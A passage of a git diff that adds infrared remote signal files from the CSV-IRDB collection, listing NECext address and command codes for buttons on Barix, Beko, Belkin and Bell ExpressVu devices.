+command: 28 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 29 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2A 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2B 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2D 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2E 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2F 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir new file mode 100644 index 000000000..45595bb22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: PLIST_+ +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 00 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0C 00 00 00 +# +name: PLIST_- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 10 00 00 00 +# +name: SONG_+ +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 13 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 15 00 00 00 +# +name: SONG_- +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir new file mode 100644 index 000000000..e6c96f63b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: Stop +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: Doub +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Mix +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: Pr- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: Pr+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: Vol+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: Vol- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: White +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: Sleep +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: Nul_SP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 +# +name: TV/TX +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..d094d2363 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: DOUBLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: UPDATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: X_KEY_1_X_CHANNELS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: PR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: PR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: VOL_LOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: AV/TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir new file mode 100644 index 000000000..c0f377deb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 41 00 00 00 +# +name: key_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 49 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 61 00 00 00 +# +name: KEY_DIRECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 62 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 70 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir new file mode 100644 index 000000000..3f1002a38 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VEIW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: AROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: FORMAT_-_* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SEARCH_-_# +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir new file mode 100644 index 000000000..cfac7e466 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: I_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir new file mode 100644 index 000000000..9cfbac2cd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir new file mode 100644 index 000000000..493311646 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir new file mode 100644 index 000000000..5a5117c7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 33 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir new file mode 100644 index 000000000..0b1c49fc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: SKIP_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: SKIP_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir new file mode 100644 index 000000000..2d1bb7065 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir new file mode 100644 index 000000000..e3f79f113 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: SEL. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: MENU_RT. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: MENU_DWN. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECRD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir new file mode 100644 index 000000000..1acf3e5b5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 01 00 00 